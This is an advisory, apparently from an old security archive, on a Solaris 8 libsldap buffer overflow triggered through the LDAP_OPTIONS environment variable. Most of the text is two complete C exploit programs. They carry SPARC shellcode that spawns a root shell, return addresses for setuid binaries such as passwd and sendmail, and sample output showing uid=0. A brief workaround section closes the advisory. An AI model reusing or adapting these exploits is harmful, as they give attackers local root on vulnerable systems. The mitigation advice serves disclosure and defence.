|
Vulnerability libsldap Affected Solaris 8 Description Jouko Pynnonen found following. The library implementing LDAP naming services on Solaris 8, libsldap, contains a buffer overflow in the initialization code. While parsing the environment variable LDAP_OPTIONS, a fixed size buffer is used to store its contents which can be of any length. This is a straightforward buffer overflow and exploitable in conjunction with privileged programs that use the library. Such programs include passwd, yppasswd, nispasswd, sendmail, and chkey. The library is only found on Solaris 8 systems. On vulnerable systems the buffer overflow can lead to a local root compromise. Testing for the vulnerability of your system can be done as follows: $ LDAP_OPTIONS=`perl -e "print 'A'x300"` passwd Segmentation Fault A segmentation or other fault indicates you have a problem. If the program works normally (and asks your password), you're probably not vulnerable. Other setuid binaries can be tested in the same way. To check whether a program has been linked against the libsldap library, you can use the ldd command. As far as we know, sway@hack.co.za did actually found the hole several months. Exploit is plain simple, tested on an Ultra10 and an Enterprise 3500 with success. $ ./libsldap-exp libsldap.so.1 $LDAP_OPTIONS enviroment variable buffer overflow Exploit code: noir@gsu.linux.org.tr Bug discovery: sway@hack.co.za Usage: ./libsldap-exp target# target#: 0, /usr/bin/passwd Solaris8, Sparc64 target#: 1, /usr/bin/nispasswd Solaris8, Sparc64 target#: 2, /usr/bin/yppasswd Solaris8, Sparc64 target#: 3, /usr/bin/chkey Solaris8, Sparc64 target#: 4, /usr/lib/sendmail Solaris8, Sparc64 $ ./libsldap-exp 0 # id uid=0(root) gid=0(root) # /** !!!PRIVATE!!! ** noir@gsu.linux.org.tr ** libsldap.so.1 $LDAP_OPTIONS enviroment variable overflow exploit; ** **/ #include <stdio.h> #define ADJUST 1 /* anathema@hack.co.za ** Solaris/SPARC shellcode ** setreuid(0, 0); setregid(0, 0); execve("/bin/sh", args, 0); */ char shellcode[] = "\x90\x1a\x40\x09\x92\x1a\x40\x09\x82\x10\x20\xca\x91\xd0\x20\x08" "\x90\x1a\x40\x09\x92\x1a\x40\x09\x82\x10\x20\xcb\x91\xd0\x20\x08" "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"; struct type { char *string; char *path; long retaddr; }; struct type target[] = { { "0, /usr/bin/passwd Solaris8, Sparc64", "/usr/bin/passwd", 0xffbefe98 }, { "1, /usr/bin/nispasswd Solaris8, Sparc64", "/usr/bin/nispasswd", 0xffbefe98 }, { "2, /usr/bin/yppasswd Solaris8, Sparc64", "/usr/bin/yppasswd", 0xffbefe98 }, { "3, /usr/bin/chkey Solaris8, Sparc64 ", "/usr/bin/chkey", 0xffbefea8 }, { "4, /usr/lib/sendmail Solaris8, Sparc64", "/usr/lib/sendmail", 0xffbefeb8 }, { NULL, NULL, 0 } }; int i; unsigned long ret_adr; char ldap[4000]; char egg[400]; char *envs[] = { ldap, egg, NULL }; main(int argc, char *argv[]) { if(!argv[1]) { fprintf(stderr, "libsldap.so.1 $LDAP_OPTIONS enviroment variable \ buffer overflow\nExploit code: noir@gsu.linux.org.tr\nBug discovery: sway@hack.co.za\n\nUsage: %s target#\n\n", argv[0]); for(i = 0; target[i].string != NULL; i++) fprintf(stderr,"target#: %s\n", target[i].string); exit(0); } ret_adr = target[atoi(argv[1])].retaddr; memset(egg, 0x00, sizeof egg); for(i = 0 ; i < 400 - strlen(shellcode) ; i +=4) *(long *)&egg[i] = 0xa61cc013; for (i= 0 ; i < strlen(shellcode); i++) egg[200+i]=shellcode[i]; for ( i = 0; i < ADJUST; i++) ldap[i]=0x58; for (i = ADJUST; i < 4000; i+=4) { ldap[i+3]=ret_adr & 0xff; ldap[i+2]=(ret_adr >> 8 ) &0xff; ldap[i+1]=(ret_adr >> 16 ) &0xff; ldap[i+0]=(ret_adr >> 24 ) &0xff; } memcpy(ldap, "LDAP_OPTIONS=", 13); ldap[strlen(ldap) - 3] = 0x00; //ldap[3998] has to be NULL terminated execle(target[atoi(argv[1])].path, "12341234", (char *)0, envs); } Here is another one: #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <string.h> /* $Id: ldap_exp2.c,v 1.1 2001/06/27 23:01:04 fygrave Exp $ * * victim% ./lod -s 316 -p 5 * jumping into: ffbefe74 (buf size: 156, soff: 316, stack: ffbefd38) * # id * uid=0(root) gid=200(em) egid=3(sys) * # uname -a * SunOS victim 5.8 Generic_108528-06 sun4u sparc SUNW,Ultra-60 * # ^D * victim% * Thu Jun 28 05:22:38 ICT 2001 * Fyodor <fygrave@tigerteam.net> */ #define NOP "\x80\x1c\x40\x11" #define BUFSIZE 156 #define LOCALBUF 10000 #define NOPS 1964 #define PAD 3 #define SOFF 664 char shellcode[]= "\x90\x1a\x40\x09" /* xor %o1, %o1, %o0 */ "\x82\x10\x20\x17" /* mov 0x17, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "\x20\xbf\xff\xff" /* bn,a 0x108b4 <main+8> */ "\x20\xbf\xff\xff" /* bn,a 0x108b8 <maino> */ "\x7f\xff\xff\xff" /* call 0x108bc <shellcode> */ "\x90\x03\xe0\x30" /* add %o7, 0x30, %o0 */ "\x92\x03\xe0\x28" /* add %o7, 0x28, %o1 */ "\xc0\x2b\xe0\x38" /* clrb [ %o7 + 0x38 ] */ "\xd0\x23\xe0\x28" /* st %o0, [ %o7 + 0x28 ] */ "\xc0\x23\xe0\x2c" /* clr [ %o7 + 0x2c ] */ "\x82\x10\x20\x0b" /* mov 0xb, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "\x82\x10\x20\x01" /* mov 1, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "\x41\x41\x41\x41" /* AAAA */ "\x41\x41\x41\x41" /* AAAA */ "\x2f\x62\x69\x6e" /* /bin */ "\x2f\x6b\x73\x68" /* /ksh */ "\x41\x57\x68\x6f"; /* junk */ extern char *optarg; unsigned long get_sp(void) { __asm__("mov %sp,%i0 \n"); } int main(int argc, char **argv) { static char buf[LOCALBUF], *ptr; unsigned long addr, bufsize, soff, pad; int i, c; soff = SOFF; bufsize = BUFSIZE; pad = PAD; while((c = getopt(argc, argv, "s:b:p:h")) !=EOF) switch(c) { case 'b': bufsize = strtoul(optarg,NULL,0); break; case 's': soff = strtoul(optarg,NULL,0); break; case 'p': pad = strtoul(optarg,NULL,0); break; case 'h': default: fprintf(stderr,"usage: %s [-b buffsize] [-s stackoff] [-p pad]\n", argv[0]); exit(1); } bzero(buf, sizeof(buf)); strcpy(buf,"LDAP_OPTIONS="); ptr=buf + strlen(buf); for(i=0;i<bufsize;i++, ptr++) *ptr='A'; addr = get_sp() + soff; memcpy(ptr,(char *)&addr, 4); memcpy(ptr+4,(char *)&addr, 4); ptr+=8; for(i=0;i<pad;i++, ptr++) *ptr='A'; for(i=0;i<NOPS;i++, ptr+=4) memcpy(ptr, NOP, 4); strcat(buf, shellcode); putenv(buf); fprintf(stderr,"jumping into: %lx (buf size: %i, soff: %i, stack: %lx)\n", addr, bufsize, soff, get_sp()); execl("/bin/passwd","lameswd",0); } Solution One workaround is to clear the setuid/setgid bits of the vulnerable programs (chmod 755 prog), but this will in most cases make them useless. Another way is to compile a dummy library and replace /usr/lib/libsldap.so.1 with it. This will disable any LDAP functionality of the programs using this library, but otherwise they seem to work. A dummy kludge library can apparently be compiled and installed like this: $ cp /dev/null dummy.c $ gcc -shared dummy.c -o dummy.so $ su # mv /usr/lib/libsldap.so.1 /usr/lib/orig_libsldap_so # cp dummy.so /usr/lib/libsldap.so.1 This neutralizes the buffer overflow, but might also break some things and have other side-effects. If you do this, do it on your own risk. According to Sun Microsystems they had just discovered the vulnerability themselves and it "has been fixed in the development release of Solaris and patches are being generated for Solaris 8 presently."